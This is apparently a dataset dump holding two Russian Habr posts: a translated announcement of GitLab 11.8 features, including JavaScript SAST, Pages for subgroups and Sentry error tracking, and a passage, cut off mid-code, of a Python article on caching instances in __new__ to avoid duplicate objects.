text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Вышел релиз GitLab 11.8 с SAST для JavaScript, GitLab Pages для подгрупп и отслеживанием ошибок
Поддержка SAST для JavaScript
-----------------------------
Благодаря Static Application Security Testing (SAST) GitLab сканирует код и помогает обнаружить потенциальные уязвимости еще в конвейере. В релизе 11.8 мы [добавляем в список поддерживаемых SAST языков JavaScript](#podderzhka-sast-dlya-javascript-1), на основе существующей поддержки node.js. Теперь можно просканировать любые файлы JavaScript, статические скрипты и HTML. Важной практикой в DevSecOps сейчас является сканирование изменений при каждом коммите, и с этим обновлением SAST мы покрываем один из самых популярных веб-языков, помогая пользователям раньше обнаруживать риски в коде на JavaScript.
GitLab Pages для подгрупп и шаблоны страниц
-------------------------------------------
GitLab Pages в этом релизе стал намного лучше, благодаря следующим двум улучшениям. Во-первых, мы добавили поддержку [GitLab Pages для проектов в подгруппах](#podderzhka-pages-dlya-podgrupp): теперь такие проекты смогут легко публиковать свой контент в сеть. Во-вторых, GitLab 11.8 теперь включает самые популярные [шаблоны для Pages](#sozdanie-saytov-pages-odnim-schelchkom-myshi-pri-pomoschi-shablonov), так что теперь начать работу с Pages можно одним щелчком мыши.
Отслеживание ошибок с Sentry
----------------------------
Ошибки дают возможность оценить состояние вашего приложения и могут обнаружить проблемы до того, как о них сообщат пользователи. GitLab 11.8 теперь может показывать недавние ошибки в рамках проекта, упрощая их обнаружение и исправление.
И еще много классных фич!
-------------------------
В этом релизе так много хороших нововведений, что мы хотим осветить еще несколько:
* [**Правила подтверждения мерж-реквестов**](#pravila-podtverzhdeniya-merzh-rekvestov) (в русской локализации GitLab «запросов на слияние»). Теперь можно легко задать правило, кто будет подтверждать изменения — конкретные пользователи, группа или роль. Скоро эта фича появится на GitLab.com, а в пользовательских инстансах GitLab уже может быть подключена администратором.
* [**Подключаемые фичи для окружений**](#podklyuchaemye-fichi-dlya-raznyh-okruzheniy). Ранее подключаемые фичи действовали для всех ваших окружений сразу, теперь же их можно использовать в рамках конкретных окружений. Эта функциональность уже работает на GitLab.com, и может быть подключена администратором для пользовательских инстансов.
* [**Улучшили объединение сообщений к коммитам при их объединении (squash)**](#uluchshili-obedinenie-soobscheniy-k-kommitam). Если вы стараетесь создавать хорошие сообщения к коммитам, бывает жаль терять их при объединении коммитов. В релизе 11.8 при объединении коммитов из всех коммитов автоматически берется первое многострочное сообщение. И вы также можете задать сообщение вручную.
[Приглашаем на наши встречи](https://about.gitlab.com/events/)
[MVP](https://about.gitlab.com/community/mvp/) этого месяца — [Aaron Walker](https://gitlab.com/walkafwalka)
------------------------------------------------------------------------------------------------------------
Walkafwalka добавил две новых фичи для Auto DevOps в этом релизе: [поддержку пользовательских доменов](#podderzhka-auto-devops-dlya-polzovatelskih-domenov-zavisyaschih-ot-okruzheniya) и [повторное развертывание при обновлении ключей-секретов приложения](#prinuditelnoe-povtornoe-razvertyvanie-pri-obnovlenii-klyuchey-sekretov-prilozheniya-v-auto-devops). Спасибо за эти великолепные улучшения!
Основные фичи релиза GitLab 11.8
--------------------------------
Поддержка SAST для JavaScript
-----------------------------
(ULTIMATE, GOLD)
Static Application Security Testing (SAST) позволяет находить уязвимости в коде каждый раз, когда вы отправляете изменения в репозиторий. С этой информацией, доступной в мерж-реквесте, вы сможете позаботиться о безопасности в первую очередь и обнаруживать проблемы даже до того, как они будут добавлены в стабильную ветку.
С релизом 11.8 мы добавляем JavaScript в список языков, поддерживаемых SAST. Вам не придется ничего менять в своих конвейерах, JavaScript-проекты автоматически определяются и анализируются на уязвимости в безопасности. Также это часть [Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#auto-sast-ultimate).
[Документация по SAST](https://docs.gitlab.com/ee/user/project/merge_requests/sast.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/5473).
Отслеживание ошибок с Sentry
----------------------------
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Отслеживание ошибок, которые генерирует ваше приложение, помогает создавать и поддерживать качественный пользовательский опыт и обнаруживать проблемы до того, как пользователи их заметят. И заодно ускоряет решение возникающих проблем.
GitLab 11.8 делает отслеживание ошибок более понятным и эффективным, интегрируя популярный трекер с открытым исходным кодом Sentry и отображая последние ошибки прямо в вашем проекте GitLab.
Sentry недавно [улучшил свою интеграцию с GitLab](https://about.gitlab.com/2019/01/25/sentry-integration-blog-post/), добавив обнаружение проблемных коммитов, слежение за коммитами и релизами и не только. Благодаря взаимной интеграции, вы можете легко работать в Sentry через GitLab и наоборот, и решать проблемы в рамках своего контекста в своем рабочем процессе.
[Документация по отслеживанию ошибок](https://docs.gitlab.com/ee/user/project/operations/error_tracking.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/55178).
Создание сайтов Pages одним щелчком мыши при помощи шаблонов
------------------------------------------------------------
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
GitLab 11.8 теперь включает в себя самые популярные шаблоны для Pages, так что теперь вы можете создавать страницы сразу при создании нового проекта, а не наследуя репозиторий шаблонов, как ранее.
Посмотрите [пост в нашем блоге, посвященный использованию шаблонов GitLab Pages](https://about.gitlab.com/2019/02/20/start-using-pages-quickly/).
[Документация по GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/#getting-started) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/47857).
Поддержка Pages для подгрупп
----------------------------
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Также теперь вы можете создавать сайты с помощью Pages для проектов в подгруппах. Сайты, созданные этим способом, будут иметь URL формата `toplevel-group.gitlab.io/subgroup/project`. Теперь для всех ваших проектов, даже тех, что принадлежат подгруппам, вы сможете создать документацию или другие страницы, необходимые для релиза вашего ПО.
[Документация по администрированию GitLab Pages](https://docs.gitlab.com/ee/administration/pages/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/30548).
Правила подтверждения мерж-реквестов
------------------------------------
(PREMIUM, ULTIMATE, SILVER, GOLD)
Код-ревью — основополагающая практика любого успешного проекта, но не всегда ясно, кто именно должен проводить ревью изменений. Часто есть необходимость в нескольких ревьюверах, отвечающих за разные аспекты — например, за разработку, безопасность, удобство использования и сам продукт.
В релизе GitLab 11.8 мы представляем правила для подтверждения мерж-реквестов, что дает возможность определить необходимых подтверждающих и минимальное количество подтверждений. Правила подтверждения показываются в виджете мерж-реквеста, так что следующего ревьювера назначить очень легко.
В GitLab 11.3 мы ввели роль владельцев кода ([оригинальная статья](https://about.gitlab.com/2018/09/22/gitlab-11-3-released/#code-owners), [перевод](https://habr.com/ru/post/425819/#vladelcy-koda)) для определения того, кто несет ответственность за разные части кода. Владельцы кода уже учитываются в правилах подтверждения, так что найти нужных людей для ревью изменений будет просто.
По умолчанию правила подтверждения отключены, подключить их может администратор инстанса командой `Feature.enable(:approval_rules)` в консоли rails. На GitLab.com правила подтверждения временно отключены, мы планируем снова их подключить с релизом GitLab 11.8.1. Следите за [этим тикетом](https://gitlab.com/gitlab-org/gitlab-ee/issues/9913) для обновлений.
[Документация по правилам подтверждения мерж-реквестов](https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html#multiple-approval-rules-premium) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/1979).
Улучшили триггеры межпроектных конвейеров
-----------------------------------------
(PREMIUM, ULTIMATE, SILVER, GOLD)
В релизе GitLab 9.3 ([оригинальная статья](https://about.gitlab.com/2017/06/22/gitlab-9-3-released/#multi-project-pipeline-graphs), [перевод](https://habr.com/ru/company/softmart/blog/332204/#mezhproektnye-grafiki-konveerov-eep)) была добавлена возможность создавать [межпроектные конвейеры](https://docs.gitlab.com/ee/ci/multi_project_pipelines.html), запустив следующий конвейер вызовом через GitLab API в вашей работе. В релизе 11.8 мы улучшаем запуск этих конвейеров благодаря ключевому слову `trigger:`, которое может быть добавлено в объединяющую конвейеры работу и обеспечит автоматический запуск следующего конвейера, когда текущий конвейер успешно завершится.
[Документация по ключевому слову trigger](https://docs.gitlab.com/ee/ci/yaml/#trigger-premium) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/8997).
Улучшили объединение сообщений к коммитам
-----------------------------------------
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Когда история состоит из маленьких коммитов для исправления юнит-тестов или решения проблем из фидбека, сложно создавать читаемую и полезную в будущем Git-историю. Объединение коммитов собирает такие изменения в один коммит, вместе с тем убирая все описания.
GitLab теперь ставит первое многострочное сообщение в ветке данной фичи как сообщение объединенного коммита. Или же вы можете задать это сообщение вручную и самостоятельно отразить все важные изменения.
[Документация по объединенным коммитам](https://docs.gitlab.com/ee/user/project/merge_requests/squash_and_merge.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/47149).
Поддержка Auto DevOps для пользовательских доменов, зависящих от окружения
--------------------------------------------------------------------------
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Auto DevOps позволяет вам быстро начать работу над проектом при указании ему «базового домена» проекта. Когда ваше приложение готово к развертыванию на продакшн, вы возможно захотите использовать другой домен в виде [FQDN](https://ru.wikipedia.org/wiki/FQDN).
Теперь вы можете использовать переменную окружения `ADDITIONAL_HOSTS` для того, чтобы определить один или несколько доменов для вашего приложения. Более того, вы можете настроить ее для определенного окружения, добавив к переменной имя окружения, например: `\_ADDITIONAL\_HOSTS`.
Спасибо [Aaron Walker](https://gitlab.com/walkafwalka) за эту фичу!
[Документация по переменным окружения](https://docs.gitlab.com/ee/topics/autodevops/#environment-variables) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/46954).
Шкала для функций Knative
-------------------------
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
При развертывании функций при помощи бессерверной архитектуры через GitLab вы можете пользоваться всеми преимуществами Knative, в том числе масштабированием ваших бессерверных развертываний.
Теперь для каждого приложения или функции, развернутой в вашем инстансе Knative, вы можете посмотреть шкалу ваших бессерверных развертываний. На шкале показано число подов Kubernetes, которые используются в настоящее время.
[Документация по развертыванию функций](https://docs.gitlab.com/ee/user/project/clusters/serverless/#deploying-functions) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/54715).
Другие улучшения в GitLab 11.8
------------------------------
### Задание первого дня недели
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Ранее в календарях в GitLab автоматически предполагалось, что неделя начинается в воскресенье. Теперь пользователи в настройках могут выбрать первым днем недели понедельник, что будет отражено при использовании календарей для выбора дат и на графиках вкладов в разработку.
Спасибо [Fabian Schneider](https://gitlab.com/fabsrc) за эту фичу!
[Документация по пользовательским настройкам](https://docs.gitlab.com/ee/user/profile/preferences.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/2105).
### Прокрутка дорожной карты вперед в будущее и назад в прошлое
(ULTIMATE, GOLD)
Когда вы впервые загружаете дорожную карту, GitLab предварительно выбирает для вас временной период с возможностью выбирать недельные, месячные или квартальные интервалы. Однако ранее вид дорожной карты оставался зафиксированным, и эпики за пределами текущего периода были скрыты.
Начиная с этого релиза, вы сможете прокручивать дорожную карту вперед в будущее и назад в прошлое. Эпики, которые попадают в эти расширенные интервалы, будут автоматически появляться на графике, не нужно дополнительно обновлять страницу. Это позволит вам просматривать еще больше эпиков на таком временном интервале, который вам необходим.
[Документация по дорожным картам](https://docs.gitlab.com/ee/user/group/roadmap/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/7325).
### Аутентификация при помощи смарт-карт через LDAP
(PREMIUM, ULTIMATE, SILVER, GOLD)
Организации, использующие смарт-карты как токены авторизации, зачастую используют протокол LDAP для централизованного управления учетными записями. В версии 11.6 [появилась аутентификация при помощи смарт-карт](https://gitlab.com/gitlab-org/gitlab-ee/issues/726). В 11.8 мы делаем еще одно дополнение к ней, добавляя поддержку использования данных со смарт-карт для аутентификации через LDAP-сервер.
В GitLab мы используем подход, соответствующий стандартам [RFC4523](https://tools.ietf.org/html/rfc4523), с использованием правила `certificateExactMatch`.
[Документация по аутентификации при помощи смарт-карт](https://docs.gitlab.com/ee/administration/auth/smartcard.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/7693).
### Подключаемые фичи для разных окружений
(PREMIUM, ULTIMATE, SILVER, GOLD)
Начиная с этого релиза становится возможным самостоятельно переключать фичи в зависимости от окружения. Поведением ваших фич можно управлять при помощи набора правил, заданного на основе соответствия имени окружения. По умолчанию всегда работает правило (`*`), однако вы также сможете задавать другие правила, добавляя новые спецификации окружения (например, `review/*`).
В версии 11.8.0 для работы этой фичи потребуется включить её, выполнив в консоли rails команду `Feature.enable(:feature_flags_environment_scope)`.
[Документация по спецификациям окружения](https://docs.gitlab.com/ee/user/project/operations/feature_flags.html#define-environment-specs) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/8621).
### Обновление GitLab Runner через интеграцию с Kubernetes
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Если вы развертываете ваши приложения в последней версии Kubernetes, вы можете быть уверены, что у вас есть все новые фичи и ваша безопасность отвечает всем требованиям.
GitLab 11.8 позволяет вам обновлять GitLab Rinner в Kubernetes одним кликом. В будущих релизах мы добавим такую возможность и для остальных приложений.
[Документация по установке приложений](https://docs.gitlab.com/ee/user/project/clusters/#installing-applications) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/49384).
### Отображение времени создания и активности пользователей на панели администратора
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Администраторам необходимо при помощи простых действий получать информацию об активности пользователей. Чтобы помочь с выполнением этой задачи, мы добавили отображение даты создания пользователя и даты его последней активности в области Users на панели администратора (`/admin/users`).
[Здесь](https://docs.gitlab.com/ee/user/instance_statistics/user_cohorts.html) вы можете прочитать больше о действиях, которые GitLab распознает как активности.
[Документация по API пользователей для администраторов](https://docs.gitlab.com/ee/api/users.html#for-admins) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/43681).
### Возможность поиска по последним действиям пользователей
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
В GitLab есть атрибут пользователя `last_activity_on`, который помогает администраторам проще определять, когда произошла последняя активность пользователя. Это очень удобно для поиска активных и неактивных пользователей.
Чтобы быть уверенными в том, что мы захватываем активности типа read-only, мы расширили атрибут last\_activity\_on так, чтобы он обновлялся при посещении страниц, относящихся к панелям активности, проектам, задачам и мерж-реквестам.
[Документация по статистике в инстансе](https://docs.gitlab.com/ee/user/instance_statistics/user_cohorts.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/54947).
### Топики проектов вместо тегов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Теги проектов – это удобный способ организовывать связанные проекты, однако термин «тег» совпадает с тегами в GitLab. Для решения этой проблемы мы переименовали теги проектов в топики и [улучшили их отображение](https://gitlab.com/gitlab-org/gitlab-ce/issues/54544) на странице просмотра проекта.
Мы с радостью продолжим делать топики более полезными для поиска по проектам и собираемся добавить [фильтрацию по топикам](https://gitlab.com/gitlab-org/gitlab-ce/issues/54372) на панели активности в версии 11.9.
[Документация по настройкам проекта](https://docs.gitlab.com/ee/user/project/settings/#general-project-settings) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/54167).
### Поиск тегов репозитория в проекте через API
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Теперь вы можете искать теги репозитория в проекте через [API тегов](https://docs.gitlab.com/ee/api/tags.html). Это позволит производить поиск конкретного тега в проекте напрямую. Если вы ищете проекты, соответствующие тегу конкретной версии, теперь вы с легкостью найдете то, что вам нужно.
Спасибо [Robert Schilling](https://gitlab.com/razer6) за эту фичу!
[Документация по тегам](https://docs.gitlab.com/ee/api/tags.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/54401).
### Улучшенный вид списка проектов с большей плотностью информации
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Мы учли обратную связь пользователей по [первому улучшению списка проектов](https://gitlab.com/gitlab-org/gitlab-ce/issues/51944) и увеличили плотность информации на этой странице, добавив еще один столбец и уменьшив количество пустых мест.
[Документация по проектам](https://docs.gitlab.com/ee/user/project/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/56543).
### Улучшенная страница просмотра группы
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
В версии 11.8 мы обновили внешний вид страницы просмотра группы так, чтобы на ней отображалось больше информации. Мы уменьшили количество пустых мест на этой странице и изменили дизайн так, чтобы он был согласован с [новым внешним видом страницы просмотра проекта](https://gitlab.com/gitlab-org/gitlab-ce/issues/44704).
Это первый шаг в [улучшении](https://gitlab.com/gitlab-org/gitlab-ce/issues/50836) страницы просмотра группы, и мы с радостью продолжим над этим работать.
[Документация по группам](https://docs.gitlab.com/ee/user/group) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/53104).
### API для управления вложенными эпиками
(ULTIMATE, GOLD)
В предыдущем релизе мы добавили [вложенные эпики](https://docs.gitlab.com/ee/user/group/epics/#multi-level-child-epics), то есть возможность добавлять эпики к эпикам. Начиная с этого релиза, вы сможете управлять связями между этими эпиками в том числе и через API. Так что теперь вы можете управлять индивидуальными графиками рабочего процесса в вашей команде, в том числе используя возможности автоматизирования.
[Документация по API для ссылок между эпиками](https://docs.gitlab.com/ee/api/epic_links.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/7326).
### Привели к одному виду связанные мерж-реквесты и тикеты
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Мы обновили секцию связанных мерж-реквестов в тикете, чтобы придать им визуальную согласованность со связанными тикетам и навести красоту.
В будущем релизе мы [добавим больше метаданных](https://gitlab.com/gitlab-org/gitlab-ce/issues/51862) для каждой строки в этом разделе, чтобы пользователи видели соответствующую информацию о мерж-реквесте сразу в контексте.
[Документация по упоминанию тикетов в мерж-реквестах](https://docs.gitlab.com/ee/user/project/issues/crosslinking_issues.html#from-merge-requests) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/47007).
### Переместили поле домена Auto DevOps из настроек CI/CD в настройки кластера
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Указание базового домена для Auto DevOps позволяет вам использовать преимущества таких мощных функций, как автоматическое ревью (Auto-Review Apps) и автоматическое развертывание (Auto-Deploy). Теперь мы упростили указание базового домена, перенеся его непосредственно в настройки кластера. Это позволит легко определить базовый домен при создании кластера, а также определить разные домены для разных кластеров.
[Документация по настройке базового домена для Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#auto-devops-base-domain) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/52363).
### Управление метками групп через API
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Теперь вы можете управлять метками групп через API аналогично меткам проектов, что помогает в дальнейшем поддерживать настраиваемые рабочие процессы планирования и выполнения в ваших командах.
Спасибо [Robert Schilling](https://gitlab.com/razer6) за эту фичу!
[Документация по API для меток групп](https://docs.gitlab.com/ee/api/group_labels.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/44901).
### .html расширения теперь автоматически разрешаются для сайтов GitLab Pages
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Файл `/sub-page.html` на вашем сайте GitLab Pages теперь доступен и как `/sub-page`, что дает вам больше вариантов, как как показать ваш сайт пользователям.
[Документация по GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-pages/issues/95).
### Предопределенные переменные Pages в CI
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
В конвейеры Pages были добавлены переменные `CI_PAGES` и `CI_PAGES_URL`, что дает вам возможность видеть доменное имя и URL страницы. Это обеспечивает большую гибкость при работе с сайтами Pages, размещенными в разных местах.
[Документация по GitLab Pages](https://docs.gitlab.com/ee/user/project/pages/) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/42966).
### Добавление toleration к Kubernetes executor
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Kubernetes предоставляет замечательную возможность отделить оборудование от того места, где выполняются наши разработки. Однако для выполнения некоторых задач требуется специализированное оборудование, включая работы, которые могут потребовать больше ресурсов, чем другие.
Kubernetes поддерживает это, добавляя [taint и toleration](https://kubernetes.io/docs/concepts/configuration/taint-and-toleration/) к нодам, чтобы учесть эти соображения при планировании подов. Мы добавили встроенную поддержку taint и toleration в Kubernetes executor в GitLab Runner для поддержки этих типов рабочих процессов.
[Документация по Kubernetes executor](https://docs.gitlab.com/runner/executors/kubernetes.html#the-keywords) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-runner/issues/2681).
### Поддержка TLS в Gitaly
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Gitaly теперь поддерживает TLS, что означает, что вся связь между GitLab и Gitaly будет зашифрована, когда TLS включен. Ранее связь между GitLab и Gitaly не была зашифрована сама по себе, а зависела от настроек безопасности сети.
[Документация по поддержке TLS в Gitaly](https://docs.gitlab.com/ee/administration/gitaly/#tls-support) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitaly/issues/1324)
### Поддержка Elasticsearch в Gitaly
(STARTER, PREMIUM, ULTIMATE)
Раньше при использовании Elasticsearch не получалось обойтись без NFS для общения с Git в файловой системе. Начиная с этого релиза вы можете использовать Gitaly вместо NFS, что ускорит доступ к Git.
[Документация по интеграции Elasticsearch](https://docs.gitlab.com/ee/integration/elasticsearch.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-elasticsearch-indexer/issues/4).
### Быстрый переход к файлу в диффе мерж-реквеста
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Ревью больших мерж-реквестов — сложный процесс, особенно когда при этом приходится переходить от одного файла к другому. Новый способ определения файла на основе нечеткой логики (fuzzy file finder) обеспечивает безболезненный переход от одного файла к другому, так что вы можете быстро перемещаться по диффу с помощью клавиатуры.
[Документация по навигации по диффу](https://docs.gitlab.com/ee/user/project/merge_requests/index.html#merge-request-diff-file-navigation) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/53304).
### Отображение количества подтверждений в списке мерж-реквестов
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD)
Мерж-реквесты, которые подтверждены и готовы к слиянию, теперь можно легко обнаружить в списке мерж-реквестов. Количество требуемых и полученных подтверждений теперь отображается в списке мерж-реквестов.
Спасибо [Andy Steele](https://gitlab.com/spacemeld) за эту фичу!
[Документация по подтверждению мерж-реквестов](https://docs.gitlab.com/ee/user/project/merge_requests/merge_request_approvals.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/1317).
### Получение оповещений от настроенных вручную инстансов Prometheus
(ULTIMATE, GOLD)
В GitLab 11.3 появилась поддержка настройки оповещений ([оригинальная статья](https://about.gitlab.com/2018/09/22/gitlab-11-3-released/#alerts-for-library-metrics), [перевод](https://habr.com/ru/post/425819/#opovescheniya-dlya-metrik-bibliotek)), однако она была ограничена экземплярами Prometheus, развернутыми через [интеграцию GitLab с Kubernetes](https://docs.gitlab.com/ee/user/project/clusters/#installing-applications).
С GitLab 11.8 настроенные вручную серверы Prometheus теперь могут также уведомлять GitLab об оповещениях, если добавить GitLab в качестве получателя для веб-хука в менеджере оповещений (alertmanager). После получения оповещения GitLab отправит электронное письмо maintainer'ам и владельцам проекта.
[Документация по интеграции внешних инстансов Prometheus](https://docs.gitlab.com/ee/user/project/integrations/prometheus.html#external-prometheus-instances) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/9258).
### Удаление неиспользуемых тегов из реестра контейнеров с помощью API
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Многие организации создают контейнеры для каждого коммита, чтобы упростить проверку изменений кода, а также окончательное развертывание. Это может привести к большому количеству контейнерных тегов, которые нужны только в течение короткого периода времени.
GitLab 11.8 теперь позволяет конечным пользователям наводить порядок в своих реестрах контейнеров через наше API, удаляя теги по отдельности или группами, используя регулярные выражения.
[Документация по удалению тегов в реестре контейнера](https://docs.gitlab.com/ee/api/container_registry.html#delete-a-repository-tag) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/55978).
### Конфиденциальность тикетов для уязвимостей безопасности
(ULTIMATE, GOLD)
Пользователи могут создавать новые тикеты для устранения уязвимостей безопасности при просмотре отчетов о безопасности в мерж-реквесте, страницы конвейера и панели безопасности. Эта информация содержит конфиденциальные данные, которые могут раскрывать детали, которые не должны раскрываться до того, как исправление станет доступно и выпущено.
Начиная с GitLab 11.8, тикеты, относящиеся к уязвимостям, по умолчанию помечаются как [конфиденциальные (confidential)](https://docs.gitlab.com/ee/user/project/issues/confidential_issues.html), но пользователи могут отключить этот флаг, если раскрытие информации допустимо.
[Документация по мерж-реквестам, связанным с безопасностью](https://docs.gitlab.com/ee/user/project/merge_requests/#interacting-with-security-reports-ultimate) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ee/issues/8725).
### Принудительное повторное развертывание при обновлении ключей-секретов приложения в Auto DevOps
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Когда вы настраиваете ключ-секрет приложения для Auto DevOps, используя синтаксис переменной `K8S_SECRET_`, для вашего приложения будет создан соответствующий ключ-секрет Kubernetes.
Когда эти ключи-секреты приложения будут обновлены, Auto DevOps повторно развернет ваше приложение с обновленными ключами-секретами.
Спасибо [Aaron Walker](https://gitlab.com/walkafwalka) за эту фичу!
[Документация по переменным Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#environment-variables) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/55540).
### Отображение среды кластера в бессерверном списке функций
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Страница бессерверных функций (Serverless) была улучшена и теперь группирует функции, развернутые в Knative, в зависимости от кластерной среды, в которой они развернуты.
Кроме того, описание функции теперь отображается вместе с кнопкам быстрого доступа для копирования конечной точки функции и для открытия конечной точки в новой вкладке.
[Документация по развертыванию в бессерверном варианте](https://docs.gitlab.com/ee/user/project/clusters/serverless/#deploying-functions) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/54986).
### Обеспечение работы менеджера сертификатов с адресами для Auto DevOps
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD)
Менеджер сертификатов предоставляет простой способ добавить поддержку HTTPS для ваших приложений Auto DevOps. Этот релиз добавляет поддержку URL, длина которых превышает поддерживаемую Let’s Encrypt по умолчанию (64 символа), что обеспечивает большую гибкость для ваших приложений.
[Документация по базовым доменам Auto DevOps](https://docs.gitlab.com/ee/topics/autodevops/#auto-devops-base-domain) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-ce/issues/55820).
---
Подробные release notes и инструкции по обновлению/установке можно прочитать в оригинальном англоязычном посте: [GitLab 11.8 released with SAST for JavaScript, Pages for subgroups, and Error Tracking](https://about.gitlab.com/2019/02/22/gitlab-11-8-released/).
Над переводом с английского работали [cattidourden](https://habr.com/ru/users/cattidourden/), [maryartkey](https://habr.com/ru/users/maryartkey/), [ainoneko](https://habr.com/ru/users/ainoneko/) и [rishavant](https://habr.com/ru/users/rishavant/). | https://habr.com/ru/post/443322/ | null | ru | null |
# Зачем мне гибкость Python, если мне запрещают ей пользоваться?
Здравствуйте! ~~Есть~~ Была у меня следующая задача: надо было спарсить кучу данных и организовать их в классы, а позже загрузить в БД. Вроде бы, ничего сложного, но в этот день я даже забыл поесть, а почему — смотрите под кат, потому что я сделяль.
Данных, конечно же, было много, но задачу это никак не усложнило, усложнило то, что один и тот же элемент можно было найти в разных уголках сайта. Эти данные можно сравнить с аккаунтами в социальных сетях. Один и тот же аккаунт может оставить свой след везде — и лайки на разных страничках пооставлять, и комментарии везде написать, и на стенку разным людям что-нибудь повесить. И нужно, чтобы всё это был один и тот же объект в нашей программе и чтобы он никак не дублировался. Вроде бы, всё просто, проверяй себе, был ли найден этот элемент уже — и всё. Но это некрасиво, это не тру. Да и противоречит философии Python. Хотелось красивого решения, что-то, что просто запрещало бы создание элемента, который уже существует или просто не создавало бы его, всю инициализацию игнорировало бы, а внутренний конструктор возвращал уже существующий элемент.
Приведу пример. У меня есть, например, сущность.
```
class Animal:
def __init__(self, id):
self.id=id
```
И каждая такая сущность имеет свой уникальный id.
В итоге, находя две одинаковых сущности в разных местах, мы создаём 2 абсолютно одинаковых объекта. Первое, что нужно, это добавить какое-то хранилище объектов:
```
class Animal:
__cache__=dict()
def __init__(self, id):
self.id=id
```
Новый объект в python создаётся в функции *\_\_new\_\_* класса, эта функция должна вернуть новый созданный объект, и именно в ней нам и надо копаться для переопределения поведения создания элемента.
```
class Animal:
__cache__=dict()
def __new__(cls, id):
